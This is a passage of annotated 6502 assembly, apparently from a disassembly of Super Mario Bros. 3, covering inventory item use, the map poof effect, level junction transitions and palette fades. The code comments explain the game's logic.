JSR Inventory_ForceUpdate_AndFlip ; Forces Inventory to flip back over
JMP Inv_Display_Hilite ; Jump to Inv_Display_Hilite...
Inv_UseItem_Starman:
INC Map_Starman ; Set Starman active (Nintendo's betting you never would have more than 255 on the map!)
LDA Sound_QLevel1
ORA #SND_LEVELPOWER
STA Sound_QLevel1 ; Player "Power-up" noise
JSR Inv_UseItem_ShiftOver ; Shift over all items over top of the Starman
JMP Inventory_ForceFlip ; Force inventory to flip over
Inv_UseItem_Anchor:
LDA Map_Anchored
BEQ PRG026_A690 ; If Map_Anchored = 0, jump to PRG026_A690
Inv_UseItem_Denial:
; Otherwise, play denial sound; prevents multiple usage
LDA Sound_QMap
ORA #SND_MAPDENY
STA Sound_QMap ; Denial sound
RTS ; Return
PRG026_A690:
INC Map_Anchored ; Set map as anchored
LDA Sound_QLevel1
ORA #SND_LEVELPOOF
STA Sound_QLevel1 ; Player powerup sound
JSR Inv_UseItem_ShiftOver ; Shift over all items over top of the Anchor
JMP Inventory_ForceFlip ; Force inventory to flip over
Inv_UseItem_MusicBox:
LDA #$02
STA Map_MusicBox_Cnt ; Map_MusicBox_Cnt = 2
LDA #MUS2A_MUSICBOX
STA Sound_QMusic2 ; Play Music Box song
JSR Inv_UseItem_ShiftOver ; Shift over all items over top of the Music Box
JMP Inventory_ForceFlip ; Force inventory to flip and don't come back!
RockBreak_Replace: .byte TILE_HORZPATH, TILE_VERTPATH ; The path replacement tiles (NOTE: see also PRG012 Map_RemoveTo_Tiles)
RockBreak_TileFix:
; These specify the tiles that replace the tiles of the rock.
; Note for some reason these are interleved, meaning the first,
; third, fifth, and seventh bytes are for rock $51, and the others
; for rock $52...
.byte $FE, $FE, $E1, $FE, $FE, $C0, $E1, $C0
Inv_UseItem_Hammer:
LDA #$03
STA <Temp_Var1 ; Temp_Var1 = 3 (checking all 4 directions around Player)
PRG026_A6BF:
LDY <Temp_Var1 ; Y = LDY <Temp_Var1
JSR MapTile_Get_By_Offset ; Get map tile nearby player (on page 10)
; Rock tiles:
SUB #TILE_ROCKBREAKH ; Offset to rock tiles
CMP #$02 ; See if value is less than 2 (rock to break)
BLT PRG026_A6D2 ; If rock, jump to PRG026_A6D2
DEC <Temp_Var1 ; Temp_Var1--
BPL PRG026_A6BF ; While directions to search, loop!
JMP Inv_UseItem_Denial ; No way to use hammer; deny!
PRG026_A6D2:
; Rock to break...
STX <Temp_Var2 ; Store screen high byte -> Temp_Var2
LSR <Temp_Var2 ; Temp_Var2 >>= 1 (previously used as index into Map_Tile_Addr, now back to just a screen index)
PHA ; Save 'A' (map tile minus TILE_ROCKBREAKH, either 0 or 1)
TAX ; X = A
LDA RockBreak_Replace,X ; Get the tile number that replaces this rock
STA [Map_Tile_AddrL],Y ; Store it in place!
; "Poof" where the rock sits
TYA
ASL A
ASL A
ASL A
ASL A ; Multiply by 16 for X
STA <MapPoof_X
STA <Temp_Var3 ; Temp_Var3 = MapPoof_X
TYA
AND #$f0
ADD #$10 ; Decouple a Y
STA <MapPoof_Y
STA <Temp_Var1 ; Temp_Var1 = MapPoof_Y
JSR Map_SetCompletion_By_Poof ; Set completion bit based on location of map "poof"
; Rock removal sets completion bit for BOTH Players!
; The following will set it for whatever Player didn't get the
; completion bit set... pretty neat.
TYA ; A = offset to map completion byte for this Player
EOR #$40 ; Flip to the OTHER Player
TAY
LDA Map_Completions,Y
ORA Map_Completion_Bit,X
STA Map_Completions,Y
; Take the Map poof coordinates and calculate what address in
; Nametable 2 we need to modify to remove the rock...
LDX <MapPoof_X ; X = MapPoof_X
LDA <MapPoof_Y ; A = MapPoof_Y
JSR Map_Calc_NT2Addr_By_XY
PLA ; Retore 'A' (0 or 1, depending on which rock was busted)
TAX ; X = A
; Buffer in the rock replacement tiles
LDY Graphics_BufCnt
LDA <Temp_Var15
STA Graphics_Buffer,Y
STA Graphics_Buffer+5,Y
LDA <Temp_Var16
STA Graphics_Buffer+1,Y
ADD #$01
STA Graphics_Buffer+6,Y
LDA #$82
STA Graphics_Buffer+2,Y
STA Graphics_Buffer+7,Y
LDA RockBreak_TileFix,X
STA Graphics_Buffer+3,Y
LDA RockBreak_TileFix+2,X
STA Graphics_Buffer+4,Y
LDA RockBreak_TileFix+4,X
STA Graphics_Buffer+8,Y
LDA RockBreak_TileFix+6,X
STA Graphics_Buffer+9,Y
; Terminator
LDA #$00
STA Graphics_Buffer+10,Y
TYA
ADD #10
STA Graphics_BufCnt ; Graphics_BufCnt += 10 (bytes added to buffer)
; Play rock crumbling sound
LDA Sound_QLevel2
ORA #SND_LEVELCRUMBLE
STA Sound_QLevel2
; Do the poof!
LDA #$14
STA Map_Powerup_Poof
JSR Map_Poof_Update
JMP Inv_UseItem_ShiftOver ; Shift all items over and don't come back
Map_WWOrHT_StartX:
; For the wind coming from the left or the right...
.byte 0, 240
Inv_UseItem_WarpWhistle:
LDY Player_Current ; Y = Player_Current
LDX #$00 ; X = 0 (Wind comes from the left)
LDA World_Map_X,Y ; Get Player's X position on Map
SUB <Horz_Scroll ; Offset it by the horizontal scroll
CMP #$80
BGE PRG026_A771
LDX #$01 ; Wind comes from the right
PRG026_A771:
STX <Map_WWOrHT_Dir ; Store travel direction
LDA Map_WWOrHT_StartX,X ; Get proper start position for the wind
STA <Map_WWOrHT_X ; Set it as the wind's X
LDA World_Map_Y,Y ; Get Player's Y position on map
STA <Map_WWOrHT_Y ; Set it as the wind's Y
STA Map_PlyrSprOvrY ; Clear the map sprite override Y
; Back up the Player's map positioning (why??)
LDA World_Map_Y,Y
STA Map_WW_Backup_Y ; Store Player's map Y position
LDA World_Map_X,Y
STA Map_WW_Backup_X ; Store Player's map X position
LDA World_Map_XHi,Y
STA Map_WW_Backup_XH ; Store Player's map X Hi position
LDA Map_UnusedPlayerVal2,Y
STA Map_WW_Backup_UPV2 ; Store Player's Map_WW_Backup_UPV2
LDX #$01 ; X = 1
LDA #$00
; Clear all of the following:
STA Map_Prev_XOff,Y
STA Map_Prev_XHi,Y
STA <Scroll_LastDir
STA Map_InCanoe_Flag ; Not in a canoe
STX <Map_WarpWind_FX ; Map_WarpWind_FX = 1 (Warp Whistle begin!)
JSR Inv_UseItem_ShiftOver ; Shift out the Warp Whistle
LDA #MUS2A_WARPWHISTLE
STA Sound_QMusic2 ; Play the Warp Whistle tune
JMP Inventory_ForceFlip ; Flip over the inventory
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Map_Poof_Update
;
; Updates map "poof" effect, including decrementing
; Map_Powerup_Poof and inserting the sprites to be
; displayed based on the current count...
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
Map_Poof_Tiles:
; "Outer" and "Inner" tiles for the map poof sprites
.byte $49, $41
.byte $49, $39
.byte $49, $35
.byte $49, $31
.byte $45, $47
.byte $45, $47
Map_Poof_Update:
LDA <MapPoof_Y
SUB #$08 ; Center Map Poof
; Four pieces with identical Y
STA Sprite_RAM+$60
STA Sprite_RAM+$64
STA Sprite_RAM+$68
STA Sprite_RAM+$6C
; Four pieces with identical Y (offset 16 from the above)
ADD #16
STA Sprite_RAM+$70
STA Sprite_RAM+$74
STA Sprite_RAM+$78
STA Sprite_RAM+$7C
LDY #$00 ; Y = 0
LDA <MapPoof_X
SUB <Horz_Scroll ; Offset poof effect based on horizontal scroll
SUB #$08 ; Center horizontally
; This will loop through to position each piece of the poof sprite
; horizontally, spaced 8 pixels apart.
PRG026_A7EA:
STA Sprite_RAM+$63,Y ; Upper and...
STA Sprite_RAM+$73,Y ; ... lower sprites with same X coordinate
ADD #$08 ; X coordinate += 8 (next poof sprite over)
INY
INY
INY
INY ; Y += 4 (next sprite)
CPY #16
BNE PRG026_A7EA ; Loop while Y < 16 (8 sprites total, doing 2 at a time)
; The four "corners" of the poof, pieces of the sprite
; flipped as appropriate...
LDA #$03
STA Sprite_RAM+$62
STA Sprite_RAM+$66
LDA #$43
STA Sprite_RAM+$6A
STA Sprite_RAM+$6E
LDA #$83
STA Sprite_RAM+$72
STA Sprite_RAM+$76
LDA #$c3
STA Sprite_RAM+$7A
STA Sprite_RAM+$7E
LDA Map_Powerup_Poof
AND #$1c ; Constrain the value of Map_Powerup_Poof, only change every 4 units
LSR A ; A >> 1 (2 tiles per valid change in Map_Powerup_Poof)
TAY ; Y = A
; Tile for "outer" poof sprites
LDA Map_Poof_Tiles,Y
STA Sprite_RAM+$61
STA Sprite_RAM+$6D
STA Sprite_RAM+$71
STA Sprite_RAM+$7D
; Tile for "inner" poof sprites
LDA Map_Poof_Tiles+1,Y
STA Sprite_RAM+$65
STA Sprite_RAM+$69
STA Sprite_RAM+$75
STA Sprite_RAM+$79
DEC Map_Powerup_Poof ; Decrease "poof" effect
LDA Map_Powerup_Poof
BNE PRG026_A84B ; If Map_Powerup_Poof <> 0, jump to PRG026_A84B (RTS)
JMP Inventory_ForceFlip ; When poof has completed, inventory is closed
PRG026_A84B:
RTS ; Return
InvItem_Hilite_Layout:
; Item sprite tiles layout when highlighted
; NOTE: See also InvItem_Tile_Layout
; NOTE: If both tile values are equal, the right
; half is horizontally flipped
.byte $01, $01 ; Empty
.byte $85, $85 ; Super Mushroom
.byte $87, $87 ; Fire Flower
.byte $9D, $9F ; Leaf
.byte $81, $81 ; Frog Suit
.byte $83, $83 ; Tanooki Suit
.byte $8B, $8B ; Hammer Suit
.byte $B5, $B7 ; Judgems Cloud
.byte $91, $93 ; P-Wing
.byte $A9, $A9 ; Starman
.byte $95, $97 ; Anchor
.byte $99, $9B ; Hammer
.byte $A1, $A3 ; Warp Whistle
.byte $89, $8D ; Music Box
Inv_Display_Hilite:
; Displays the hilited item
LDY #$c8 ; Y = $C8
LDA <Map_UseItem
BEQ PRG026_A876 ; If not using an item, jump to PRG026_A876
LDA <Counter_1
AND #$18
BNE PRG026_A876 ; Periodically jump to PRG026_A876
LDY #$f8 ; Y = $F8 (hilite is pushed off bottom of screen during item use)
PRG026_A876:
STY Sprite_RAM+$00 ; Store 'Y' position into left half
STY Sprite_RAM+$04 ; Store 'Y' position into right half
LDA InvStart_Item
ADD InvHilite_Item ; A = InvStart_Item + InvHilite_Item
TAY ; Y = A
LDA Player_Current
BEQ PRG026_A88E ; If Player_Current = 0 (Mario), jump to PRG026_A88E
TYA
ADD #(Inventory_Items2 - Inventory_Items)
TAY ; Y += Luigi items offset
PRG026_A88E:
LDX Inventory_Items,Y ; X = currently highlighted item
; Use palette 3 for both
LDA #$03
STA Sprite_RAM+$02
STA Sprite_RAM+$06
TXA
ASL A
TAX ; X << 1 (index into InvItem_Hilite_Layout)
; Index highlight tiles
LDA InvItem_Hilite_Layout,X
STA Sprite_RAM+$01
LDA InvItem_Hilite_Layout+1,X
STA Sprite_RAM+$05
LDA Sprite_RAM+$01
CMP Sprite_RAM+$05
BNE PRG026_A8B8 ; If left half / right half tiles differ, jump to PRG026_A8B8
; Otherwise, a horizontal flip is applied to the right half
LDA Sprite_RAM+$06
ORA #$40 ; H-Flip
STA Sprite_RAM+$06
PRG026_A8B8:
LDA InvHilite_X
STA Sprite_RAM+$03 ; Highlight X for left
ADD #$08 ; +8
STA Sprite_RAM+$07 ; Highlight X for right
RTS ; Return...
Map_Poof_To_Row:
; Convert a Map Poof Y coordinate to a row LUT
.byte $20, $30, $40, $50, $60, $70, $80
Map_Completion_Bit:
; Set proper map "completion" bit based on row
.byte $80, $40, $20, $10, $08, $04, $02, $01
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Map_SetCompletion_By_Poof
;
; Set completion bit on map for the CURRENT Player based on the location
; of the map "poof" effect (from using a hammer); does not actually do
; graphics or RAM alteration to map, however. Just marks completion bit
; for future reloads of the map...
;
; 'X' is set to the row where the rock existed
; 'Y' is set to the offset for the map completion for the CURRENT Player
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
Map_SetCompletion_By_Poof: ; $A8D4
; This loop will determine what row to mark completion on based on
; the Y coordinate of the "map poof"
LDY #6
LDA <Temp_Var1 ; A = Temp_Var1 (Map Poof Y)
PRG026_A8D8:
CMP Map_Poof_To_Row,Y ; Compare Map Poof Y to this value
BEQ PRG026_A8E2 ; If it matches, jump to PRG026_A8E2
DEY ; Y--
BPL PRG026_A8D8 ; While Y >= 0, loop!
; If it doesn't match, use Y = 7 (which amounts to the last row anyway, but SHOULDN'T HAPPEN)
LDY #7
PRG026_A8E2:
STY <Temp_Var5 ; Temp_Var5 = Y
LDA <Temp_Var2 ; A = current screen (map X Hi byte)
ASL A
ASL A
ASL A
ASL A
STA <Temp_Var4 ; Temp_Var4 = Temp_Var2 << 4
LDA <Temp_Var3
LSR A
LSR A
LSR A
LSR A
ORA <Temp_Var4 ; A = Temp_Var3 >> 3 (Map Poof X, div 16) OR'd with Temp_Var4 (row is upper 4 bits, column is lower 4 bits)
TAY ; Y = A
LDX Player_Current ; X = Player_Current
BEQ PRG026_A8FF ; If Player_Current = 0 (Mario), jump to PRG026_A8FF
TYA ;
ADD #$40 ;
TAY ; Y += $40 for Luigi (Luigi's clear bits are 64 ahead of Mario's)
PRG026_A8FF:
LDX <Temp_Var5 ; X = row on which the rock existed
LDA Map_Completions,Y ; Get current "completion" byte for this spot
ORA Map_Completion_Bit,X; Set appropriate "completion" bit for this row
STA Map_Completions,Y ; Store it back
RTS ; Return!
; Per-world Big [?] block areas
LevelJctBQ_Layout: .word BigQBlock1L, BigQBlock2L, BigQBlock3L, BigQBlock4L, BigQBlock5L, BigQBlock6L, BigQBlock7L, BigQBlock8L
LevelJctBQ_Objects: .word BigQBlock1O, BigQBlock2O, BigQBlock3O, BigQBlock4O, BigQBlock5O, BigQBlock6O, BigQBlock7O, BigQBlock8O
LevelJctBQ_Tileset: .byte 14, 14, 14, 14, 14, 14, 14, 14 ; All use "Underground (14)" style
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; HandleLevelJunction
;
; Fades out the screen, sets up the pointers, and loads a new
; area! And some other tedious things as required to swap out
; to a different level and potentially swap back in later...
;
; Used for all bonus areas, alternate exits, whatever!
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
HandleLevelJunction:
; Fades out the screen
JSR Palette_PrepareFadeOut ; Prepare
PRG026_A936:
JSR GraphicsBuf_Prep_And_WaitVSync ; Wait VSync
JSR Palette_DoFadeOut ; Fade
LDA Fade_Level
BNE PRG026_A936 ; While Fade_Level > 0, loop
LDA #%00011000 ; Show sprites + BG
STA <PPU_CTL2_Copy
JSR GraphicsBuf_Prep_And_WaitVSync ; Wait VSync
LDA #$00
STA PPU_CTL2 ; Disable display
STA Level_AScrlConfig ; Level_AScrlConfig = 0
; Stop Update_Select activity temporarily
INC UpdSel_Disable
JSR Level_JctCtl_Do ; Do what's appropriate for the Level Junction!
LDA <Horz_Scroll
STA Level_Jct_HS ; Level_Jct_HS = Horz_Scroll
LDA <Horz_Scroll_Hi
STA Level_Jct_HSHi ; Level_Jct_HSHi = Horz_Scroll_Hi
LDA <Vert_Scroll
STA Level_Jct_VS ; Level_Jct_VS = Vert_Scroll
LDA <Vert_Scroll_Hi
STA Level_Jct_VSHi ; Level_Jct_VSHi = Vert_Scroll_Hi
LDA #$01
STA Map_ReturnStatus ; Map_ReturnStatus = 1 (??)
; Scroll_Cols2Upd = 32 (full dirty scroll update sweep)
LDA #32
STA Scroll_Cols2Upd
; For this next part, the appropriate scroll column counter
; (based on which way the system last scrolled) is faked out
; to think it is behind a whole screen (how mean!) to force
; a "dirty" update after we transition...
LDX <Scroll_LastDir
BNE PRG026_A982 ; If screen last moved left (1), jump to PRG026_A982
; X = Scroll_LastDir = 0 (Screen last moved right)
LDA <Scroll_ColumnR
SUB #16
STA <Scroll_ColumnR ; Scroll_ColumnR -= 16 (pretend we have a whole screen to the right to update)
JMP PRG026_A989 ; Jump to PRG026_A989
PRG026_A982:
; X = Scroll_LastDir = 1 (Screen last moved left)
LDA <Scroll_ColumnL
ADD #16
STA <Scroll_ColumnL ; Scroll_ColumnL += 16 (pretend we have a whole screen to the left to update)
PRG026_A989:
LDA Level_JctCtl
CMP #$02
BEQ PRG026_A995 ; If Level_JctCtl = 2 (Big Question Block bonus area), jump to PRG026_A995
; The Big Question Block bonus area locks horizontal scrolling,
; but everyone else is free to set it correctly!
LDA Level_Jct_HS
STA <Horz_Scroll ; Horz_Scroll = Level_Jct_HS
PRG026_A995:
JMP PRG030_897B ; Jump to PRG026_897B (continue preparation of display!)
Level_JctCtl_Do:
LDA Level_JctCtl
JSR DynJump
; THESE MUST FOLLOW DynJump FOR THE DYNAMIC JUMP TO WORK!!
.word $0000 ; 0 - Not used (Level_JctCtl = 0 does not call here)
.word Level_JctInit ; 1 - Initialize junction
.word LevelJct_BigQuestionBlock ; 2 - Big Question Block bonus area (they're special for some reason!)
.word LevelJct_General ; 3 - General purpose
.word LevelJct_GenericExit ; 4 - Generic level exit (comes up from pipe)
.word LevelJct_SpecialToadHouse ; 5 - Special Toad House (used for the 1-3 warp whistle)
Level_JctInit:
; Grab level header's "alternate layout" pointer and put into Level_LayPtr/H_AddrL/H
LDA Level_AltLayout
STA <Level_LayPtr_AddrL
STA Level_LayPtrOrig_AddrL
LDA Level_AltLayout+1
STA <Level_LayPtr_AddrH
STA Level_LayPtrOrig_AddrH
; Grab level header's "alternate objects" pointer and put into Level_ObjPtrL/H_AddrL/H
LDA Level_AltObjects
STA <Level_ObjPtr_AddrL
STA Level_ObjPtrOrig_AddrL
LDA Level_AltObjects+1
STA <Level_ObjPtr_AddrH
STA Level_ObjPtrOrig_AddrH
; Set the alternate tileset
LDA Level_AltTileset
STA Level_Tileset ; Level_Tileset = Level_AltTileset
; Toggle Level_JctFlag
LDA Level_JctFlag
EOR #$01
STA Level_JctFlag
RTS ; Return
LevelJct_BigQuestionBlock:
; LevelJctBQ_Flag: When you enter a Big Question block area,
; sets it; when you leave, clears it!
LDA LevelJctBQ_Flag
EOR #$01
STA LevelJctBQ_Flag
BEQ PRG026_AA5A ; If we're leaving, time to restore from backups
; Backup Level_Tileset
LDA Level_Tileset
STA Level_JctBackupTileset ; Level_JctBackupTileset = Level_Tileset
; Load tileset by world (always 14 Underground?)
LDY World_Num
LDA LevelJctBQ_Tileset,Y
STA Level_Tileset
; Turn world index into 2-byte index
TYA
ASL A
TAY
; Big Question block layout
LDA LevelJctBQ_Layout,Y
STA <Level_LayPtr_AddrL
LDA LevelJctBQ_Layout+1,Y
STA <Level_LayPtr_AddrH
; Big Question block objects
LDA LevelJctBQ_Objects,Y
STA <Level_ObjPtr_AddrL
LDA LevelJctBQ_Objects+1,Y
STA <Level_ObjPtr_AddrH
LDX <Player_XHi ; X = Player_XHi
LDA Level_JctXLHStart,X ; Get value from Level_JctXLHStart based on Player's X Hi
; A = X start position in the format of high byte in lower 4 bits
; and low in the upper 4 bits
PHA ; Save it
; Cap XHi 0-15 and match the scroll position
AND #$0f
STA <Player_XHi
STA <Horz_Scroll_Hi
PLA ; Restore UserData2 value
AND #$f0 ; Get the X low start component
ORA #$08 ; Center it up (better for coming out of pipe)
STA <Player_X ; Store it into Player_X
LDA Level_JctYLHStart,X
; A = a few things:
; Bits 0 - 3: Go into Level_PipeExitDir
; Bits 4 - 6: Starting position index
; Bits 7: Set for vertical level (and also sets Level_7VertCopy)
PHA ; Push Level_JctYLHStart
PHA ; Push Level_JctYLHStart
AND #$0f ; Lower 4 bits of Level_JctYLHStart
STA Level_PipeExitDir ; Store into Level_PipeExitDir
CMP #$03
BLT PRG026_AA30 ; If Level_PipeExitDir < 3, jump to PRG026_AA30
; Otherwise, don't center Player (better for starting on block)
LDA <Player_X
AND #$f0
STA <Player_X
PRG026_AA30:
PLA ; Restore Level_JctYLHStart
AND #$80
STA Level_7VertCopy
STA Level_7Vertical ; Set vertical mode
PLA ; Restore Level_JctYLHStart
; Get start index 0 - 7
AND #%01110000
LSR A
LSR A
LSR A
LSR A
TAY
LDA LevelJct_YLHStarts,Y ; Get appropriate Y start info
; 'A' is similar format byte to the X start;
; Y is defined as "high" part in the lower 4 bits and
; the "low" part is the upper 4 bits
PHA ; Push 'A'
AND #$0f
STA <Player_YHi ; Lower 4 bits are the "High" byte
PLA ; Restore 'A'
AND #$f0
STA <Player_Y ; Upper 4 bits are the "low" byte
LDA LevelJct_VertStarts,Y ; Get appropriate vertical start position
STA <Vert_Scroll ; Store into Vert_Scroll
LDA #$00
STA <Horz_Scroll ; Horz_Scroll = 0
JMP PRG026_AB0E ; Jump to PRG026_AB0E
PRG026_AA5A:
; Restore from all backups
LDA Level_JctBackupTileset
STA Level_Tileset
LDA Level_LayPtrOrig_AddrL
STA <Level_LayPtr_AddrL
LDA Level_LayPtrOrig_AddrH
STA <Level_LayPtr_AddrH
LDA Level_ObjPtrOrig_AddrL
STA <Level_ObjPtr_AddrL
LDA Level_ObjPtrOrig_AddrH
STA <Level_ObjPtr_AddrH
JMP PRG026_AA8A ; Jump to PRG026_AA8A (perform switch)
; For Level Junction start position:
; Defines start positions in the format of the lower 4 bits
; being the "high" part, and upper 4 bits are the low part
LevelJct_YLHStarts: .byte $00, $40, $70, $B0, $F0, $41, $71, $81
; These define the Vert_Scroll init value
LevelJct_VertStarts: .byte $00, $00, $30, $70, $B0, $EF, $EF, $EF
LevelJct_General:
JSR Level_JctInit ; Initialize level junction
PRG026_AA8A:
; Actual switch code:
LDX <Player_XHi ; X = Player_XHi
LDA Level_7Vertical
BEQ PRG026_AA9A ; If level is not vertical, jump to PRG026_AA9A
LDY <Player_YHi ; Y = Player_YHi
LDA <Player_Y ; A = Player_Y
JSR LevelJct_GetVScreenH ; Possibly advances 'Y'
TYA
TAX ; X = Y
PRG026_AA9A:
; Get Level_JctXLHStart, based on Player's X Hi or a possibly modded
; Player's Y Hi in Vertical levels, essentially determining
; where to go based on the Player's "progress" through an area...
LDA Level_JctXLHStart,X
; A = X start position in the format of high byte in lower 4 bits
; and low in the upper 4 bits
PHA ; Save read byte
AND #$0f ; Get the "X Hi" part of it
STA <Player_XHi ; Store it!
PLA ; Restore read byte
AND #$f0 ; Get the X low part
ORA #$08 ; Center it
STA <Player_X ; Store it!
LDA Level_JctYLHStart,X
; A = a few things:
; Bits 0 - 3: Go into Level_PipeExitDir
; Bits 4 - 6: 0 to 7, selects start position from LevelJct_YLHStarts and sets proper vertical with LevelJct_VertStarts
; Bits 7: Set for vertical level (and also sets Level_7VertCopy)
PHA ; Push Level_JctYLHStart
PHA ; Push Level_JctYLHStart
AND #$0f ; Lower 4 bits of Level_JctYLHStart
STA Level_PipeExitDir ; Store into Level_PipeExitDir
CMP #$03
BLT PRG026_AABD ; If Level_PipeExitDir < 3, jump to PRG026_AABD
; Otherwise, don't center Player (better for starting on block)
LDA <Player_X
AND #$f0
STA <Player_X
PRG026_AABD:
PLA ; Restore Level_JctYLHStart
AND #$80
STA Level_7VertCopy
STA Level_7Vertical ; Set vertical mode
PLA ; Restore Level_JctYLHStart
; Get start index 0 - 7
AND #%01110000
LSR A
LSR A
LSR A
LSR A
TAY
LDA LevelJct_YLHStarts,Y ; Get appropriate Y start info
; 'A' is similar format byte to the X start;
; Y is defined as "high" part in the lower 4 bits and
; the "low" part is the upper 4 bits
PHA ; Push 'A'
AND #$0f
STA <Player_YHi ; Lower 4 bits are the "High" byte
PLA ; Restore 'A'
AND #$f0
STA <Player_Y ; Upper 4 bits are the "low" byte
LDA LevelJct_VertStarts,Y ; Get appropriate vertical start position
STA <Vert_Scroll ; Store into Vert_Scroll
LDA #$00
STA <Horz_Scroll ; Horz_Scroll = 0
STA <Horz_Scroll_Hi ; Horz_Scroll_Hi = 0
STA <Vert_Scroll_Hi ; Vert_Scroll_Hi = 0
LDA Level_7VertCopy
BNE PRG026_AB0E ; If switching to vertical, jump to PRG026_AB0E
; Non-vertical level...
; As long as the Player's X is >= $80, we can subtract $80 from
; it to properly center the horizontal scroll on the Player!
; Obviously if Player_XHi > 0, then we can do that REGARDLESS
; of the Player X low position because we have space to the left
LDA <Player_XHi
STA <Horz_Scroll_Hi ; Horz_Scroll_Hi = Horz_Scroll_Hi
BNE PRG026_AAF9 ; Jump if Player_XHi <> 0 to PRG026_AAF9
; If Player X Hi is zero, we may not have enough room to center
; left of the Player, so let's check...
LDA <Player_X
CMP #$80
BLT PRG026_AB06 ; If Player_X < $80, jump to PRG026_AB06
PRG026_AAF9:
; Enough room to center horizontally left of the Player!
LDA <Player_X
SUB #$80
STA <Horz_Scroll
; Carried into Horz_Scroll_Hi if need be
LDA <Horz_Scroll_Hi
SBC #$00
STA <Horz_Scroll_Hi
PRG026_AB06:
LDA <Player_YHi
BEQ PRG026_AB0E ; If Player_YHi = 0, jump to PRG026_AB0E
; Otherwise, Player needs screen scrolled as low as it can go
LDA #$ef
STA <Vert_Scroll ; Vert_Scroll = $EF
PRG026_AB0E:
; Common (regular and vertical level) continue point...
LDA <Horz_Scroll
STA <Scroll_Temp ; Scroll_Temp = Horz_Scroll
LDA <Horz_Scroll_Hi ; A = Horz_Scroll_Hi
JMP Scroll_Update_Ranges ; Set scrolling appropriately!
; For levels which employ the "generic exit" pipe at the end
; Only World 4 has a special one though...
LevelJctGE_Layout: .word W503_EndL, W503_EndL, W503_EndL, GenericW4L, W503_EndL, W503_EndL, W503_EndL, W503_EndL
LevelJctGE_Objects: .word W503_EndO, W503_EndO, W503_EndO, W503_EndO, W503_EndO, W503_EndO, W503_EndO, W503_EndO
LevelJctGE_Tileset: .byte 1, 1, 1, 1, 1, 1, 1, 1 ; All use "Plains" style
LevelJct_GenericExit:
; Load tileset by world (always Plains style)
LDY World_Num
LDA LevelJctGE_Tileset,Y
STA Level_Tileset
; Turn world index into 2-byte index
TYA
ASL A
TAY
; Generic Exit block layout
LDA LevelJctGE_Layout,Y
STA <Level_LayPtr_AddrL
LDA LevelJctGE_Layout+1,Y
STA <Level_LayPtr_AddrH
; Generic Exit objects
LDA LevelJctGE_Objects,Y
STA <Level_ObjPtr_AddrL
LDA LevelJctGE_Objects+1,Y
STA <Level_ObjPtr_AddrH
; Generic exit uses a predictable start position
LDA #$00
STA <Player_XHi
STA <Horz_Scroll
STA <Vert_Scroll_Hi
STA <Horz_Scroll_Hi
; ... and is never vertical
STA Level_7Vertical ; Level_7Vertical = 0
; And several other constants:
LDA #$ef
STA <Vert_Scroll ; Level_7Vertical = $EF
LDA #$28
STA <Player_X ; Player_X = $28
LDA #$01
STA <Player_YHi ; Player_YHi = 1
STA Level_PipeExitDir ; Level_PipeExitDir = 1
LDA #$80
STA <Player_Y ; Player_Y = $80
JMP PRG026_AB0E ; Jump to PRG026_AB0E
LevelJct_SpecialToadHouse:
; NOTE: This does NOT set the layout / object pointers!!
; These MUST be set prior to using this Level Junction!
; (FIXME: Is this done by the hidden object of 1-3?)
; The special warp whistle Toad House uses a predictable start position
LDA #$00
STA <Horz_Scroll
STA <Horz_Scroll_Hi
STA <Vert_Scroll_Hi
STA <Player_XHi
; ... and is never vertical
STA Level_7Vertical ; Level_7Vertical = 0
; And several other constants:
LDA #32
STA <Player_X ; Player_X = 32
LDA #$01
STA <Player_YHi ; Player_YHi = 1
LDA #64
STA <Player_Y ; Player_Y = 64
LDA #$07
STA Level_Tileset ; Level_Tileset = 7 (Toad House)
JMP PRG026_AB0E ; Jump to PRG026_AB0E
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Palette_PrepareFadeIn
;
; This subroutine is called prior to performing a palette
; fade-in. It configures the initial version of the buffer
; with all of the darkest shades of colors.
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
Palette_PrepareFadeIn:
CLC ; signals to use "fade in" prep code
Palette_PrepareFadeOut_Entry: ; entry point when preparing to fade out!
; Set the palette address to the beginning of palettes, $3F00
LDA #$3f
STA Palette_AddrHi
LDA #$00
STA Palette_AddrLo
STA Palette_Term ; Palette_Term = 0, Terminate the palette data
LDA #32
STA Palette_BufCnt ; Loading 32 colors
; Prepare all 31 colors in their darkest shades!
LDY #31 ; Y = 31
PRG026_ABB8:
PHP ; Save processor status
LDA Pal_Data,Y ; Get next byte of target palette data
BCS PRG026_ABC5 ; If carry is set (fade out), jump to PRG026_ABC5 (fade out needs the colors as they're to be targeted!)
SUB #$30 ; Otherwise, A -= $30 (darkest shade of this color)
BCS PRG026_ABC5 ; If we didn't go "less than black", jump to PRG026_ABC5
LDA #$0f ; Otherwise, A = $F (black)
PRG026_ABC5:
PLP ; Restore processor status
STA Palette_Buffer,Y ; Copy this byte of palette data to the buffer
DEY ; Y--
BPL PRG026_ABB8 ; While Y >= 0, loop!
LDA #$04
STA Fade_Level ; Fade_Level = 4
STA Fade_Tick ; Fade_Tick = 0
INC Fade_State ; Fade_State = 1 (Fade in)
LDA #$06
STA <Graphics_Queue ; Reset the graphics buffer
RTS ; Return
Palette_DoFadeIn:
LDA Fade_Tick
BEQ PRG026_ABE4 ; If Fade_Tick = 0, jump to PRG026_ABE4
DEC Fade_Tick ; Otherwise, Fade_Tick--
PRG026_ABE4:
LDA Fade_Level
BEQ PRG026_AC1A ; If Fade_Level = 0, jump to PRG026_AC1A
LDA Fade_Tick
BNE PRG026_AC19 ; If Fade_Tick <> 0, jump to PRG026_AC19
LDA #$04
STA Fade_Tick ; Fade_Tick = 4 (reload)
DEC Fade_Level ; Fade_Level--
LDY #31 ; Y = 31
PRG026_ABF8:
LDA Palette_Buffer,Y ; Get next byte of palette data
CMP #$0f ; Is this color black?
